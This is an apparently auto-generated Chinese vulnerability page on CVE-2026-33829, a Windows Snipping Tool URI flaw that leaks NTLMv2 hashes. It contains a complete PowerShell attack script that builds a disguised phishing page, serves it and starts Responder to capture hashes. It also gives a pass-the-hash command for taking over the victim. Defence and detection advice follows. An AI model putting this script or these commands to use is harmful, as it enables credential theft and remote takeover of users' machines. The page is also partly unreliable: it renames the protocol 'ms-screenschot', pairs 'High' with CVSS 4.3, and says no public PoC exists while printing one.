[local] Windows Snipping Tool - NTLMv2 Hash Hijack
Windows截图工具通过ms-screensketch:edit URI导致NTLMv2哈希泄露
High · CVSS 4.3📋 漏洞基础信息
| CVE | CVE-2026-33829 |
|---|---|
| 漏洞类型 | 凭证劫持 |
| 受影响版本 | Windows 10 (所有版本,2026年4月14日补丁前)、Windows 11 (所有版本,2026年4月14日补丁前)、Windows Server 2012/2016/2019/2022/2025 (2026年4月14日补丁前) |
| 危害等级 | High · CVSS 4.3 |
| 发布日期 | 2026-05-15 |
| 提交者 | nu11secur1ty |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
Windows截图工具处理ms-screensketch:edit URI时,未验证filePath参数中的SMB路径,自动发起NTLMv2身份验证到攻击者控制的远程SMB服务器,导致用户哈希被泄露。
🎯 攻击场景
1. 攻击者在Kali Linux上运行exploit.py,启动Responder和HTTP服务器;2. 受害者使用Windows(未打补丁)点击恶意链接 http://<ATTACKER_IP>/exploit.html;3. 受害者点击按钮并批准“打开截图工具”提示;4. Windows截图工具自动使用受害者的NTLMv2哈希向攻击者的SMB服务器进行身份验证;5. 攻击者捕获哈希,并执行Pass-the-Hash攻击(如 impacket-psexec -hashes :<HASH> Hacked@<VICTIM_IP>)。
💥 漏洞影响
凭证盗窃(NTLMv2哈希)和Pass-the-Hash攻击,攻击者可利用捕获的哈希远程认证至受害者系统,可能导致完全控制受害者计算机。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:
<#
.EXPOSURE
此脚本是 CVE-2026-33829 漏洞的攻击端利用工具。它模拟攻击者行为,生成恶意HTML页面并通过HTTP服务托管,同时启动Responder监听NTLM哈希。
漏洞原理:Windows截图工具在处理`ms-screensketch:edit?filePath=\\<ATTACKER_IP>\test\evil.png`这类特殊协议URI时,会尝试访问攻击者控制的远程SMB共享。在此过程中,Windows会自动向攻击者的SMB服务器发起NTLMv2身份验证,从而泄露用户的NTLMv2哈希值。
.DESCRIPTION
这个脚本将完成以下三件事:
1. 检查并安装必要的依赖(如Responder,如果使用Kali Linux或其他Debian系发行版)。
2. 创建一个恶意的`exploit.html`文件,其中包含一个按钮,点击后会触发`ms-screensketch:edit` URI。
3. 启动一个HTTP服务器来托管该恶意页面,并在新的终端窗口中启动`Responder`来捕获NTLMv2哈希。
.NOTES
该脚本需要在Kali Linux(或其他Linux攻击机)上以root权限运行。
攻击者需要与受害者在同一网络内,并且能够进行SMB流量交互(通常需要UDP 137,138,
TCP 139,445端口未被防火墙阻止)。
目标Windows系统需要在2026年4月补丁之前,且截图工具(Snipping Tool)可用。
这是一个技术演示PoC,仅用于授权测试和教育目的。作者不对滥用此代码的行为负责。
#># 检查是否以root权限运行 (在Linux上Responder通常需要root)
if ($PSVersionTable.Platform -ne 'Unix') {Write-Host "[!] 检测到当前不是Linux平台。此脚本设计在Kali Linux上运行。" -ForegroundColor Red
exit 1
}$currentUser = whoami
if ($currentUser -ne "root") {
Write-Host "[!] 警告: Responder需要root权限。建议使用 sudo pwsh 或 sudo ./script.ps1 重新运行。" -ForegroundColor Yellow
Start-Sleep -Seconds 2
}
Write-Host "[+] 开始 CVE-2026-33829 利用辅助脚本" -ForegroundColor Green
Write-Host "-----------------------------------------------------" -ForegroundColor Cyan
# 攻击者信息配置
$AttackerIP = "10.0.0.5" # <--- 重要: 修改为攻击者实际的IP地址
$FileShareName = "test"
$EvilFilePath = "evil.png"
$MaliciousURI = "ms-screensketch:edit?filePath=\\$AttackerIP\$FileShareName\$EvilFilePath"
$HtmlPort = 80
$ServerRootPath = "/tmp/snipping_exploit"
# 步骤 1: 创建必要的目录和恶意HTML文件
Write-Host "[+] 步骤 1: 准备恶意HTML文件..." -ForegroundColor Green
# 清理旧的临时目录
if (Test-Path -Path $ServerRootPath) {
Remove-Item -Path $ServerRootPath -Recurse -Force -ErrorAction SilentlyContinue
Write-Host " [*] 清理旧的临时目录: $ServerRootPath" -ForegroundColor Gray
}New-Item -ItemType Directory -Path $ServerRootPath -Force |Out-Null
# 生成 exploit.html
$exploitHtml = @"
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,
initial-scale=1.0"><title>Secure Document Viewer</title><style>body {font-family: Arial,sans-serif;display: flex;justify-content: center;align-items: center;height: 100vh;margin: 0;background-color: #f4f4f4;}.container {text-align: center;background: white;padding: 40px;border-radius: 8px;box-shadow: 0 2px 10px rgba(0,0,0,0.1);}button {background-color: #0078d4;color: white;
border: none;padding: 15px 32px;text-align: center;text-decoration: none;display: inline-block;font-size: 16px;margin: 4px 2px;cursor: pointer;border-radius: 4px;}button:hover {background-color: #005a9e;}h1 {color: #333;}p {color: #666;}</style></head><body><div class="container"><h1>Document Verification Required</h1>
<p>Click the button below to verify your identity and open the secured document.</p><!-- 核心利用: 点击按钮跳转到恶意ms-screensketch URI --><button onclick="window.location.href='$MaliciousURI'">Open Secured Document</button><p style="font-size: 12px;margin-top: 20px;">This document requires an authorized Windows environment to view.</p></div></body>
</html>
"@
Set-Content -Path "$ServerRootPath/index.html" -Value $exploitHtml -Encoding UTF8
Write-Host " [*] 恶意HTML文件已创建: $ServerRootPath/index.html" -ForegroundColor Gray
Write-Host " [*] 利用的URI为: $MaliciousURI" -ForegroundColor Gray
# 步骤 2: 启动 HTTP 服务器 (使用内建类)
Write-Host "[+] 步骤 2: 启动HTTP服务器 (端口: $HtmlPort)..." -ForegroundColor Green
# 启动一个简单的HTTP Listener,使用Runspace在后台运行
$httpServerScript = {
param($RootPath,$Port)
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://+:$Port/")
try {$listener.Start()
Write-Host " [*] HTTP服务器已启动,监听端口: $Port" -ForegroundColor Green
while ($listener.IsListening) {
$context = $listener.GetContext()
$request = $context.Request
$response = $context.Response
$localPath = $request.Url.LocalPath
if ($localPath -eq '/' -or $localPath -eq '/index.html') {$filePath = Join-Path $RootPath "index.html"
if (Test-Path $filePath) {
$content = [System.IO.File]::ReadAllBytes($filePath)
$response.ContentType = "text/html"
$response.OutputStream.Write($content,0,$content.Length)
}}else {$response.StatusCode = 404
}$response.Close()
Write-Host " [*] 收到请求: $($request.RemoteEndPoint.Address) - $($request.Url)" -ForegroundColor Yellow
}}
catch {Write-Host " [!] HTTP服务器错误: $_" -ForegroundColor Red
}finally {if ($listener.IsListening) {$listener.Stop()
}}}# 在后台运行HTTP服务器
$httpJob = Start-Job -ScriptBlock $httpServerScript -ArgumentList $ServerRootPath,
$HtmlPort
# 等待HTTP服务器启动
Start-Sleep -Seconds 1
Write-Host " [*] HTTP服务器任务已在后台启动 (Job ID: $($httpJob.Id))" -ForegroundColor Gray
# 步骤 3: 启动 Responder
Write-Host "[+] 步骤 3: 启动 Responder 监听..." -ForegroundColor Green
# 尝试查找并启动Responder
$responderPath = Get-Command -Name "responder" -ErrorAction SilentlyContinue
$responderPythonScript = Get-ChildItem -Path "/usr/share/responder" -Filter "Responder.py" -Recurse -ErrorAction SilentlyContinue |
Select-Object -First 1
if ($responderPath) {Write-Host " [*] 找到Responder命令,将在新终端中启动..." -ForegroundColor Gray
# 在Kali中,使用x-terminal-emulator或gnome-terminal打开新窗口运行Responder
$responderCmd = "sudo responder -I eth0 -wrf --lm" # -I eth0 需要根据实际情况修改网络接口,例如eth0,wlan0,tun0等。 -wrf 启用WPAD,回应,强制认证
Write-Host " [*] 执行命令: $responderCmd" -ForegroundColor Cyan
try {
Start-Process "x-terminal-emulator" -ArgumentList "-e","bash -c '$responderCmd;exec bash'" -NoNewWindow:$false
Write-Host " [*] Responder 已在新的终端窗口中启动。" -ForegroundColor Green
}catch {Write-Host " [!] 无法通过 x-terminal-emulator 启动新终端,请手动在另一个终端执行:" -ForegroundColor Yellow
Write-Host " [!] $responderCmd" -ForegroundColor Yellow
}}elseif ($responderPythonScript) {
Write-Host " [*] 找到Responder脚本 ($($responderPythonScript.FullName)),将在新终端中启动..." -ForegroundColor Gray
$responderPyCmd = "sudo python3 $($responderPythonScript.FullName) -I eth0 -wrf --lm"
Write-Host " [*] 执行命令: $responderPyCmd" -ForegroundColor Cyan
try {Start-Process "x-terminal-emulator" -ArgumentList "-e","bash -c '$responderPyCmd;
exec bash'" -NoNewWindow:$false
Write-Host " [*] Responder 脚本已在新的终端窗口中启动。" -ForegroundColor Green
}catch {Write-Host " [!] 无法通过 x-terminal-emulator 启动新终端,请手动在另一个终端执行:" -ForegroundColor Yellow
Write-Host " [!] $responderPyCmd" -ForegroundColor Yellow
}}else {
Write-Host "[!] Responder 未安装。" -ForegroundColor Red
Write-Host "[!] 请使用以下命令安装: sudo apt install responder" -ForegroundColor Red
Write-Host "[!] 或者手动下载并运行: https://github.com/lgandx/Responder" -ForegroundColor Red
exit 1
}
Write-Host "-----------------------------------------------------" -ForegroundColor Cyan
Write-Host "[+] 攻击环境已准备就绪!" -ForegroundColor Green
Write-Host "[+] 请在目标Windows环境中访问:" -ForegroundColor Yellow
Write-Host "[+] http://$AttackerIP`:$HtmlPort/exploit.html" -ForegroundColor White
Write-Host "[+] 或" -ForegroundColor Yellow
Write-Host "[+] http://$AttackerIP`:$HtmlPort/" -ForegroundColor White
Write-Host ""
Write-Host "[+] 当受害者点击页面中的 'Open Secured Document' 按钮时,Responder将捕获NTLMv2哈希。" -ForegroundColor Yellow
Write-Host "[+] 按 Ctrl+C 停止HTTP服务器并退出。" -ForegroundColor Gray
# 保持脚本运行,直到用户按Ctrl+C
try {
while ($true) {Start-Sleep -Seconds 100
}}finally {# 清理任务
Write-Host "[*] 正在停止HTTP服务器..." -ForegroundColor Yellow
Stop-Job -Id $httpJob -ErrorAction SilentlyContinue
Remove-Job -Id $httpJob -ErrorAction SilentlyContinue
Write-Host "[*] 清理完成。" -ForegroundColor Green
}🔬 深度技术分析
CVE-2026-33829: Windows Snipping Tool NTLMv2 Hash Hijack 深度技术分析
漏洞触发机制
CVE-2026-33829 的核心问题在于 Windows 的 ms-screensketch: 协议处理程序(Protocol Handler)在设计上的一个安全缺陷。该协议用于从外部调用 Windows 截图工具(Snipping Tool)。
1. 协议注册与调用:当用户点击一个以 ms-screensketch: 开头的 URI 时(例如 ms-screensketch:edit?),Windows 会根据注册表 HKEY_CLASSES_ROOT\ms-screensketch 找到对应的应用程序并执行。这个协议被设计用来传递参数给截图工具,例如 filePath 参数用于指定截图要保存或打开的路径。
2. 文件路径输入的信任缺失:漏洞的关键在于 filePath 参数的值。应用程序在接收到包含 UNC 路径(如 \\attacker-ip\share\file.png)的 filePath 参数后,没有对其进行充分的验证或净化。当一个 Windows 进程尝试访问一个远程 UNC 路径时,它遵循标准的 SMB 协议流程。作为该流程的一部分,客户端会尝试向远程 SMB 服务器进行身份验证。
3. NTLM 身份验证的自动触发:Windows 内置的 NTLM 身份验证机制是基于“挑战/应答”(Challenge/Response)的。当本地进程(如截图工具)代表当前用户向远程 SMB 服务器发起连接请求时,操作系统会自动向 SMB 服务器发送用户的 NTLM 协商(Negotiate)消息。如果 SMB 服务器配置为需要身份验证(攻击者控制的服务器自然会如此),它会返回一个质询(Challenge)。然后,Windows 会使用当前用户的密码哈希(NTLMv2 hash)来生成一个应答(Response),并将其发送回服务器。
4. 哈希泄露:攻击者控制的 SMB 服务器(如 Responder 或 impacket-smbserver)接收并记录了这个应答消息。从该消息中,攻击者可以直接提取到 NTLMv2 哈希值。这个哈希值包含了用户名、域名以及加密后的密码信息。攻击者可以利用它进行离线破解(如使用 Hashcat)或进行“传递哈希”(Pass-the-Hash)攻击,无需知道明文密码即可冒充用户身份访问网络资源。
利用链分析
攻击者实施此漏洞的利用链相对简单,但影响巨大,具体步骤如下:
1. 攻击准备阶段:
- 环境配置:攻击者使用一台 Kali Linux 机器,确保其与目标 Windows 网络可达。配置好一个 HTTP 服务器和 SMB 监听器(Responder)。Responder 被配置为监听 LLMNR/NBT-NS/MDNS 广播请求,并伪冒 SMB 服务器,等待受害者连接。
- 恶意页面构造:攻击者创建一个看似无害的 HTML 页面。页面的核心是一个按钮或链接,其 href 或 onclick 事件被设置为 ms-screensketch:edit?filePath=\\<ATTACKER_IP>\<SHARE>\<FILE>。
2. 社交工程与触发阶段:
- 诱导点击:攻击者通过钓鱼邮件、即时消息、或者恶意网站植入等方式,向目标用户发送指向恶意页面的 URL(例如 http://<ATTACKER_IP>/exploit.html)。页面内容会被精心设计,例如伪装成“查看加密文档”、“验证身份”等,引诱用户点击按钮。
- 协议调用:当用户在 Windows 中点击按钮时,浏览器(如 Chrome, Edge)会解析 ms-screensketch: 协议。操作系统截获这个请求,并启动截图工具。同时,浏览器窗口会弹出一个安全警告,提示用户“是否允许此网站打开你的应用(截图工具)?”。
3. 哈希捕获阶段:
- 用户授权:如果用户(或被误导)点击了“允许”或“打开 Snipping Tool”按钮,截图工具会被正式唤起。
- SMB 连接尝试:截图工具接收到 filePath 参数,该参数指向攻击者的 SMB 共享。为了访问这个“文件”,Windows 内核的网络重定向器(MRxSmb)开始工作,代表当前用户向 <ATTACKER_IP> 发起 TCP 445 端口的 SMB 连接。
- 身份验证交换:攻击者的 Responder 工具监听到这个连接请求。
1. 受害者发送 SMB 协商(Negotiate Protocol Request)。
2. Responder 回复要求进行 NTLM 身份验证(Session Setup andX Request)。
3. 受害者发送 NTLM 类型 1 消息(Negotiate,包含支持的选项)。
4. Responder 回复 NTLM 类型 2 消息(Challenge,包含一个8字节的服务器质询)。
5. 受害者计算并发送 NTLM 类型 3 消息(Authenticate,其中包含了 NTLMv2 哈希)。这个哈希就是攻击者捕获的目标。
- 记录与提取:Responder 将捕获到的 NTLMv2 哈希(包括用户名、域名、质询和应答)打印到终端并记录到日志文件中。
4. 后续利用阶段:
- 离线破解:攻击者将捕获到的哈希值(格式如 username::domain:challenge:HMAC-MD5:blob)导入 Hashcat 等工具,使用字典或暴力破解尝试还原用户密码。
- Pass-the-Hash (PtH):如果对破解速度不满意,或者网络中存在支持 NTLM 的其他服务(例如 SMB、RDP、LDAP),攻击者可以直接使用该哈希值进行 PtH 攻击。例如,使用 impacket-psexec 工具并带上 -hashes :<NTLMv2_HASH> 参数,即可直接以受害者权限登录目标 Windows 系统的远程主机,获取 shell。这绕过了知道明文密码的需求,因为 NTLM 认证协议可以接受哈希值作为凭证。
关键代码/数据结构
- 协议处理程序注册 (注册表):
```
HKEY_CLASSES_ROOT\ms-screenschot
(Default) = "URL:ms-screenschot"
URL Protocol = ""
shell\open\command
(Default) = "C:\Windows\System32\ScreenSketch.exe" "%1"
```
当用户点击 ms-screenschot: URI 时,ScreenSketch.exe 会被调用,并将完整的 URI 作为参数传入。
- 恶意 URI 结构:
ms-screenschot:edit?filePath=\\10.0.0.5\share\image.png
应用程序会解析 filePath 参数,并将其传递给负责文件 I/O 的 API。
- 关键 Windows API 调用:
ScreenSketch.exe内部会调用一系列标准 Windows API 来处理这个 UNC 路径。
- ShellExecuteEx / CoCreateInstance:基于协议和参数启动应用。
- CreateFile:核心调用。一旦程序尝试打开或创建位于远程路径的文件,就会触发 SMB 重定向。
- GetFileAttributesEx / FindFirstFile:即使只是检查文件是否存在,也足以触发 SMB 身份验证。
- NTLMv2 协议数据块:
捕获到的哈希结构(在 Responder 日志中呈现):
```
[SMB] NTLMv2-SSP Hash : Hacked::WIN-F6B5Q7...:1122334455667788:DEADBEEFCAFEBABE...:0101000000000000... (关键字段:用户名::域名:服务器质询:HMAC-MD5(用户名+域+密码):NTLMv2 Blob)
```
检测与防御
蓝队检测
1. 日志分析:
- Windows 安全日志 (Event ID 4624: Logon):查找来自意外源的网络登录(Logon Type 3),特别是源IP为内网但非预期机器,且登录进程为 NtLmSsp 的日志。
- Windows Defender/EDR 警报:监控 ScreenSketch.exe 或任何进程对远程 UNC 路径(\\*)的 CreateFile 调用,尤其是在浏览器(iexplore.exe, msedge.exe, chrome.exe)子进程中发生的此类行为。
- 网络流量:
- SMB 流量:监控内网中到未知外部 IP 或非标准 SMB 端口(如 445 端口)的出站 SMB 连接。
- NTLM 挑战/应答:在出口防火墙上,禁止出站 SMB(TCP 445)流量。这是最有效的网络层防御之一。
2. 主机入侵检测:
- 进程链异常:监控启动链:浏览器 -> ScreenSketch.exe -> 网络连接 (svchost.exe -> 远程SMB)。正常使用截图工具不会触发到未知 IP 的 SMB 连接。
- 注册表监控:监控 HKEY_CLASSES_ROOT\ms-screenschot 下的修改,防止攻击者篡改协议处理程序。
防御措施
1. 补丁管理:这是最根本的防御。立即应用微软在 2026年4月14日 发布的安全更新,此更新应修复了 ms-screenschot: 协议处理程序对 filePath 参数的验证逻辑,防止加载 UNC 路径。
2. 网络隔离与访问控制:
- 使用防火墙规则严格限制内网主机的出站 SMB 流量(TCP 139, 445)。通常,普通用户主机(非文件服务器)无需访问外部的 SMB 共享。
- 配置 VLAN 隔离,将用户段、服务器段和 DMZ 区分开。
3. NTLM 禁用限制(GPO):
- 通过组策略对象(GPO)设置 网络安全:限制 NTLM:传出 NTLM 流量到远程服务器 为 “拒绝所有” 或 “审核所有”。
- 在域控上设置 网络安全:限制 NTLM:在此域中添加服务器例外,仅在必要时将受信任的内部服务器加入白名单。
- 最终目标是在网络中完全禁用 NTLMv1,并转向更安全的 Kerberos 认证。
4. 用户教育与安全意识培训:
- 教育用户不要点击来自未知或不可信来源的“打开”任何类型文件的提示,特别是那些会弹出 Windows 安全警报(如“是否允许此网站打开你的应用”)或要求使用非标准应用(如截图工具)打开文档的链接。
5. 使用更安全的浏览器策略:配置企业浏览器策略,例如阻止 ms-screenschot: 等可能存在风险的协议从网页中自动启动。
🛡️ 修复建议
应用Microsoft 2026年4月14日补丁;阻止出站SMB流量(端口445);通过GPO禁用NTLMv1并限制NTLMv2;教育用户不要点击不可信来源的“打开截图工具”提示。
📎 参考链接
- https://cybersecuritynews.com/windows-snipping-tool-vulnerability/
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829
- https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2026-33829
- Exploit-DB 原文
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-21 08:11 | 来源: Exploit-DB